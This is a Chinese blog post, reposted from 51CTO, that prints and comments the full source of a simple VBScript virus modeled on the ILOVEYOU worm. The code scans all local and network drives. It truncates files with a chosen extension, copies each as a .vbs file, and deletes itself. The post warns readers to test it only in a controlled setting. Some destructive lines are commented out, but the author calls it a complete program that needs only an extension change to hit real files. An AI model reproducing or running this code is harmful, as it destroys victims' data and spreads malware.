vbs
病毒的简单例子源代码解析
<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带
.vbs
的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '
读取病毒体,以备复制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '
检查磁盘类型
wscript.echo d '
弹出窗口,显示找到盘符
scan(d)
end if
next
lsfile=wscript.scriptfullname '
该脚本程序路径
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '
病毒运行后自我删除
(
本人自加,爱虫病毒本身没有该代码)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '
获取文件后缀
ext=lcase(ext) '
后缀名转换成小写字母
if ext="mp5" then '
如果后缀名是
mp5,
当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '
覆盖文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '
创建另外一个病毒文件
' file.delete(true) '
删除原来文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '
搜索其他目录
scan(subfolder)
next
end sub
本文转自 chengchow 51CTO博客,原文链接:http://blog.51cto.com/chengchow/886989,如需转载请自行联系原作者